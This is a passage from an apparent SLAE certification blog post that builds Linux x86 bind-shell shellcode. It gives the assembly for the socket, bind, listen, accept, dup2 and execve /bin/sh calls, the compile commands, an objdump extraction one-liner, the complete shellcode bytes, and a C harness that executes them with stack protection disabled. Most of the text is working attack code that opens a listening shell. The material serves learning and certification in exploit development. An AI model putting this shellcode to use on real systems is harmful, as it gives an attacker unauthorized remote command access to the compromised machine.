mov al, 0x66
        inc bl                   ; 0x01
int 0x80

mov esi, eax     ; store socket descriptor to esi 

;bind to address
;int bind (int sockfd, const struct sockaddr *addr, socklen_t addrlen)
;int bind(esi, struct, 0x10)

;sockaddr_in structure:

mov al, 0x66
        inc bl                        ; 0x02
push edx           ; address to bind
push word 0xdddd          ; port number
push word 0x02        ; push AF_INET
mov ecx,esp   ; mov structure pointer in ecx
                        
                    
push 0x10
push ecx
push esi                        
mov ecx, esp ; ecx points to arguments
int 0x80

;listen
;int listen(int sockfd, int backlog)
;int listen(esi,0)

mov al, 0x66
        mov bl, 0x04
push edx                 ;0x00
push esi
mov ecx, esp
int 0x80

;accept
;int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen, int flags);
;int accept(esi,0,0)

mov al, 0x66
        inc bl                      ;0x05
push edx
push edx                    
push esi
mov ecx, esp
int 0x80

mov ebx,eax ; get new file descriptor for dup() call

;duplicate STD
;int dup2(int oldfd, int newfd)
;int dup2(ebx, 0)
  
         mov al,0x3f            ;63 in decimal
         xor ecx,ecx            ;0x00
         int 0x80

;int dup2(ebx, 1)

         mov al,0x3f
         inc ecx                   ;0x01
         int 0x80
     
;int dup2(ebx, 2)
    
         mov al,0x3f
         inc ecx                   ;0x02
         int 0x80

;spawn shell
;int execve(const char *filename, char *const argv[], char *const envp[]);
;int execve(string addr, zero, NULL)

 push edx                 ;string NULL-terminator
 push 0x68732f2f     ; hs//
 push 0x6e69622f    ; nib/
 mov ebx, esp          ; pointer to command string
 mov ecx, edx          ; ecx 0x00
 mov al, 0xb
 int 0x80

Compile assembly:

nasm -f elf32 -o asm_bind.o asm_bind.nasm
ld -o asm_bind asm_bind.o

Check for any NULL bytes and extract shellcode with command line magic from the course:

objdump -d -M intel asm| grep 00
objdump -d ./asm|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x89\xc6\xb0\x66\xfe\xc3\x52\x66\x68\xdd\xdd\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd\x80\xb0\x66\xfe\xc3\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80"

Then copy/paste in C code:

#include<stdio.h>
#include<string.h>
#define PORT "\xdd\xdd"

char shell[] =
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x89\xc6\xb0\x66\xfe\xc3\x52\x66\x68"PORT"\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd\x80\xb0\x66\xfe\xc3\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80";

main()
{

        printf("Shellcode Length:  %d\n", strlen(shell));
void (*fp) (void);
fp = (void *)shell;
fp();
}

Compile the code with gcc -o shell shellcode.c -fno-stack-protector -z execstack and got a bind shell:


5. Disclaimer


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:


Student ID: SLAE-764

All the code from this article can be found in my github repository - https://github.com/vinegrep/SLAE-exam